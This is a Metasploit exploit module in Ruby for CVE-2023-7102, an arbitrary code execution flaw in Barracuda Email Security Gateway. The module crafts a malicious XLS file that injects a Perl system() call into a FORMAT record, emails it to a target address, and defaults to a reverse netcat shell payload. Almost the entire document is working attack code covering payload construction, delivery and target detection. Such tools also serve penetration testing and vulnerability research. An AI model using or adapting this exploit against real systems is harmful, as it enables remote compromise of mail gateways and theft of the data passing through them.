📄 Barracuda ESG Spreadsheet::ParseExcel Arbitrary Code Execution

##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class MetasploitModule < Msf::Exploit::Remote
      Rank = ExcellentRanking
    
      prepend Msf::Exploit::Remote::AutoCheck
      include Msf::Exploit::Remote::SMTPDeliver
    
      # BIFF8 Record Opcodes
      BIFF8_BOF = 0x0809  # Beginning of File
      BIFF8_EOF = 0x000A  # End of File
      BIFF8_CODEPAGE = 0x0042 # Code page
      BIFF8_WINDOW1 = 0x003D # Window information
      BIFF8_DATEMODE = 0x0022 # Date system
      BIFF8_FONT = 0x0031 # Font definition
      BIFF8_FORMAT = 0x041E # Number format string (payload injection point)
      BIFF8_XF = 0x00E0 # Extended format
      BIFF8_STYLE = 0x0293 # Style definition
      BIFF8_BOUNDSHEET = 0x0085 # Sheet information
      BIFF8_DIMENSION = 0x0200 # Sheet dimensions
      BIFF8_ROW = 0x0208 # Row definition
      BIFF8_NUMBER = 0x0203 # Floating point cell
    
      # BIFF8 Constants
      BIFF8_VERSION = 0x0600
      BOF_WORKBOOK = 0x0005
      BOF_WORKSHEET = 0x0010
    
      def initialize(info = {})
        super(
          update_info(
            info,
            'Name' => 'Barracuda ESG Spreadsheet::ParseExcel Arbitrary Code Execution',
            'Description' => %q{
              This module exploits CVE-2023-7102, an arbitrary code execution vulnerability
              in Barracuda Email Security Gateway (ESG) appliances. The vulnerability exists
              in how the Amavis scanner processes Excel attachments using the Perl
              Spreadsheet::ParseExcel library.
    
              The library's Utility.pm contains an unsafe eval() that processes Excel
              Number format strings without validation. By crafting a malicious XLS file
              with a specially formatted Number format string containing Perl code, an
              attacker can achieve remote code execution when the ESG scans the email
              attachment.
    
              This module dynamically generates a minimal BIFF8 XLS file with the payload
              embedded in a FORMAT record using Rex::OLE. Payload constraints: no ']' (terminates
              format string) or single quotes (breaks Perl eval injection).
    
              This vulnerability was exploited in the wild by UNC4841 (China-nexus threat
              actor) starting November 2023. Barracuda deployed automatic patches on
              December 21, 2023.
    
              Affected versions: Barracuda ESG 5.1.3.001 through 9.2.1.001
            },
            'License' => MSF_LICENSE,
            'Author' => [
              'Mandiant',             # CVE-2023-7101/7102 discovery
              'haile01',              # CVE-2023-7101 XLS payload technique
              'Curt Hyvarinen'        # Metasploit module
            ],
            'References' => [
              ['CVE', '2023-7102'],
              ['CVE', '2023-7101'],
              ['URL', 'https://github.com/haile01/perl_spreadsheet_excel_rce_poc'],
              ['URL', 'https://trust.barracuda.com/security/information/esg-vulnerability'],
              ['URL', 'https://cloud.google.com/blog/topics/threat-intelligence/unc4841-post-barracuda-zero-day-remediation'],
              ['URL', 'https://nvd.nist.gov/vuln/detail/CVE-2023-7101']
            ],
            'DisclosureDate' => '2023-12-24',
            'Platform' => 'unix',
            'Arch' => ARCH_CMD,
            'Privileged' => false, # Runs as scana user (Amavis scanner)
            'Payload' => {
              'Space' => 8192,
              'DisableNops' => true,
              'BadChars' => "]'\x00" # ] terminates format, ' breaks eval, null terminates
            },
            'Targets' => [
              [
                'Unix Command',
                {
                  'DefaultOptions' => {
                    'PAYLOAD' => 'cmd/unix/reverse_netcat'
                  }
                }
              ]
            ],
            'DefaultTarget' => 0,
            'Notes' => {
              'Stability' => [CRASH_SAFE],
              'Reliability' => [REPEATABLE_SESSION],
              'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
            }
          )
        )
    
        register_options(
          [
            OptString.new('MAILTO', [true, 'Target email address on the ESG']),
            OptString.new('SUBJECT', [false, 'Email subject line (default: random)']),
            OptString.new('BODY', [false, 'Email body text (default: random)']),
            OptString.new('FILENAME', [false, 'XLS attachment filename (default: random)'])
          ]
        )
      end
    
      def check
        connect
        banner_str = banner.to_s
        if banner_str =~ /barracuda/i
          return CheckCode::Detected('Barracuda ESG detected in SMTP banner')
        end
    
        if banner_str =~ /ESMTP/i
          return CheckCode::Unknown('SMTP server detected, but cannot confirm Barracuda ESG')
        end
    
        CheckCode::Safe('No SMTP banner detected')
      rescue Rex::ConnectionError => e
        CheckCode::Unknown("Connection failed: #{e.message}")
      ensure
        disconnect
      end
    
      def exploit
        cmd = payload.encoded
    
        # Validate payload doesn't contain characters that break the injection
        if cmd.include?(']')
          fail_with(Failure::BadConfig, "Payload contains ']' which terminates the format string. Use a different payload.")
        end
        if cmd.include?("'")
          fail_with(Failure::BadConfig, 'Payload contains single quote which breaks eval injection. Use a different payload.')
        end
    
        @subject = datastore['SUBJECT']
        @body = datastore['BODY']
        @filename = datastore['FILENAME']
    
        @mailfrom = datastore['MAILFROM']
        @subject = Rex::Text.rand_text_alpha(rand(8..16)) if @subject.to_s.strip.empty?
        @body = Rex::Text.rand_text_alpha(rand(16..32)) if @body.to_s.strip.empty?
        @filename = "#{Rex::Text.rand_text_alpha(8)}.xls" if @filename.to_s.strip.empty?
    
        print_status('Generating malicious XLS with payload in FORMAT record')
        xls_data = generate_malicious_xls(cmd)
    
        print_status('Composing email with XLS attachment')
        email_data = generate_exploit_email(xls_data)
    
        print_status("Sending exploit email to #{datastore['MAILTO']} via #{rhost}:#{rport}")
        send_message(email_data)
    
        print_good('Email sent successfully')
        print_status('Payload executes when Amavis scanner parses the XLS attachment (may take 30-90 seconds)')
      end
    
      #
      # Generate a malicious XLS file with payload embedded in FORMAT record
      # Uses Rex::OLE for OLE2 container and builds BIFF8 records dynamically
      #
      def generate_malicious_xls(cmd)
        # Build the malicious format string
        # Format: [>0;system('COMMAND')]0
        # The >0 comparison is always true for positive numbers, then Perl executes system()
        format_payload = "[>0;system('#{cmd}')]0"
        vprint_status("Format string payload: #{format_payload}")
        vprint_status("Payload length: #{format_payload.length} bytes")
    
        # Build BIFF8 workbook stream
        workbook = build_workbook_stream(format_payload)
    
        # Build BIFF8 worksheet stream
        worksheet = build_worksheet_stream
    
        # Combine streams (worksheet follows workbook globals in same stream)
        content = workbook + worksheet
    
        # Create OLE2 container using Rex::OLE
        xls_data = create_ole2_xls(content)
    
        vprint_status("Generated XLS size: #{xls_data.length} bytes")
        xls_data
      end
    
      #
      # Build BIFF8 workbook globals stream
      #
      def build_workbook_stream(format_payload)
        stream = ''.b
    
        # BOF - Workbook
        stream << biff_record(BIFF8_BOF, bof_data(BOF_WORKBOOK))
    
        # Codepage (UTF-16)
        stream << biff_record(BIFF8_CODEPAGE, [0x04B0].pack('v'))
    
        # Window1 - basic window settings
        stream << biff_record(BIFF8_WINDOW1, window1_data)
    
        # Datemode - 1900 date system
        stream << biff_record(BIFF8_DATEMODE, [0x0000].pack('v'))
    
        # Font records (need at least 4 for XF records)
        4.times { stream << biff_record(BIFF8_FONT, font_data) }
    
        # FORMAT record - this is where our payload lives
        stream << biff_record(BIFF8_FORMAT, format_data(format_payload))
    
        # XF records (cell formatting) - need 21 built-in + 1 custom
        21.times { stream << biff_record(BIFF8_XF, xf_data(0)) }
        stream << biff_record(BIFF8_XF, xf_data(165)) # References our custom format
    
        # Style record
        stream << biff_record(BIFF8_STYLE, style_data)
    
        # Boundsheet - worksheet BOF offset = current stream length + this record's size + EOF record size
        # Pre-compute the BOUNDSHEET record size to calculate the correct absolute offset
        boundsheet_size = biff_record(BIFF8_BOUNDSHEET, boundsheet_data(0)).bytesize
        eof_size = biff_record(BIFF8_EOF, '').bytesize
        stream << biff_record(BIFF8_BOUNDSHEET, boundsheet_data(stream.length + boundsheet_size + eof_size))
    
        # EOF
        stream << biff_record(BIFF8_EOF, '')
    
        stream
      end
    
      #
      # Build BIFF8 worksheet stream
      #
      def build_worksheet_stream
        stream = ''.b
    
        # BOF - Worksheet
        stream << biff_record(BIFF8_BOF, bof_data(BOF_WORKSHEET))
    
        # Dimension - 1x1 used range
        stream << biff_record(BIFF8_DIMENSION, dimension_data)
    
        # Row definition
        stream << biff_record(BIFF8_ROW, row_data(0))
    
        # NUMBER record - cell with value that triggers format processing
        # Row 0, Col 0, XF index 21 (our custom format), Value 123.0
        stream << biff_record(BIFF8_NUMBER, number_data(0, 0, 21, 123.0))
    
        # EOF
        stream << biff_record(BIFF8_EOF, '')
    
        stream
      end
    
      #
      # Create OLE2 compound document containing the workbook stream
      #
      def create_ole2_xls(content)
        # Create temporary file for Rex::OLE
        tmpfile = Rex::Quickfile.new('msf-xls')
        tmppath = tmpfile.path
        tmpfile.close
    
        begin
          stg = Rex::OLE::Storage.new(tmppath, Rex::OLE::STGM_WRITE)
          fail_with(Failure::Unknown, 'Failed to create OLE storage') unless stg
    
          stm = stg.create_stream('Workbook')
          fail_with(Failure::Unknown, 'Failed to create Workbook stream') unless stm
    
          stm << content
          stm.close
          stg.close
    
          # Read the generated file
          xls_data = File.binread(tmppath)
          xls_data
        ensure
          File.delete(tmppath) if File.exist?(tmppath)
        end
      end
    
      # BIFF8 Record Helpers
    
      #
      # Build a BIFF8 record: opcode (2 bytes) + length (2 bytes) + data
      #
      def biff_record(opcode, data)
        [opcode, data.bytesize].pack('v2') + data
      end
    
      #
      # BOF record data
      #
      def bof_data(sheet_type)
        [
          BIFF8_VERSION,   # BIFF version
          sheet_type,      # Sheet type (workbook or worksheet)
          0x0DBB,          # Build identifier
          0x07CC,          # Build year
          0x000000C1,      # File history flags
          0x00000006       # Lowest BIFF version
        ].pack('v4V2')
      end
    
      #
      # Window1 record data
      #
      def window1_data
        [
          0x0000,  # Horizontal position
          0x0000,  # Vertical position
          0x4000,  # Width
          0x2000,  # Height
          0x0038,  # Options
          0x0000,  # Selected tab
          0x0000,  # First displayed tab
          0x0001,  # Selected tabs count
          0x00E5   # Tab bar width ratio
        ].pack('v9')
      end
    
      #
      # Font record data
      #
      def font_data
        font_name = 'Arial'
        data = [
          0x00C8,           # Height (200 twips = 10pt)
          0x0000,           # Options
          0x7FFF,           # Color index
          0x0190,           # Font weight (400 = normal)
          0x0000,           # Escapement
          0x00,             # Underline
          0x00,             # Font family
          0x00,             # Character set
          0x00,             # Reserved
          font_name.length  # Name length (byte string)
        ].pack('v4vC5')
        data << font_name
        data
      end
    
      #
      # FORMAT record data - contains our payload
      #
      def format_data(format_string)
        # FORMAT record structure for BIFF8:
        # - 2 bytes: format index (custom formats start at 164)
        # - 2 bytes: string length (character count)
        # - 1 byte: encoding flag (0 = compressed/Latin-1, 1 = UTF-16)
        # - variable: string data
        format_index = 165
    
        data = [
          format_index,
          format_string.length,
          0x00 # Latin-1 encoding (single byte per char)
        ].pack('v2C')
        data << format_string
        data
      end
    
      #
      # XF (extended format) record data
      #
      def xf_data(format_index)
        [
          0x0000,        # Font index
          format_index,  # Format index (0 = General, 165 = our custom)
          0x0001,        # Type/protection flags
          0x00,          # Alignment
          0x00,          # Rotation
          0x00,          # Text properties
          0x00,          # Used attributes
          0x00000000,    # Border colors
          0x00000000,    # Border lines
          0x00000000     # Pattern/background color
        ].pack('v3C4V3')
      end
    
      #
      # Style record data
      #
      def style_data
        [
          0x8000,  # XF index with built-in flag set
          0x00,    # Built-in style ID (Normal)
          0xFF     # Outline level
        ].pack('vCC')
      end
    
      #
      # Boundsheet record data
      #
      def boundsheet_data(sheet_offset)
        sheet_name = 'Sheet1'
        data = [
          sheet_offset,       # Absolute offset to BOF
          0x00,               # Sheet state (visible)
          0x00,               # Sheet type (worksheet)
          sheet_name.length   # Name length
        ].pack('VCC C')
        data << sheet_name
        data
      end
    
      #
      # Dimension record data
      #
      def dimension_data
        [
          0x0000,  # First row
          0x0001,  # Last row + 1
          0x0000,  # First column
          0x0001,  # Last column + 1
          0x0000   # Reserved
        ].pack('v5')
      end
    
      #
      # Row record data
      #
      def row_data(row_num)
        [
          row_num,  # Row number
          0x0000,   # First defined column
          0x0001,   # Last defined column + 1
          0x00FF,   # Row height
          0x0000,   # Reserved
          0x0000,   # Reserved
          0x0100    # Options
        ].pack('v7')
      end
    
      #
      # NUMBER record data
      #
      def number_data(row, col, xf_index, value)
        data = [row, col, xf_index].pack('v3')
        data << [value].pack('E') # 64-bit IEEE 754 double (little-endian)
        data
      end
    
      #
      # Generate MIME email with XLS attachment
      #
      def generate_exploit_email(xls_data)
        msg = Rex::MIME::Message.new
        msg.mime_defaults
        msg.from = @mailfrom
        msg.to = datastore['MAILTO']
        msg.subject = @subject
    
        msg.add_part(@body, 'text/plain', nil, 'inline')
        msg.add_part_attachment(xls_data, @filename)
    
        msg.to_s
      end
    end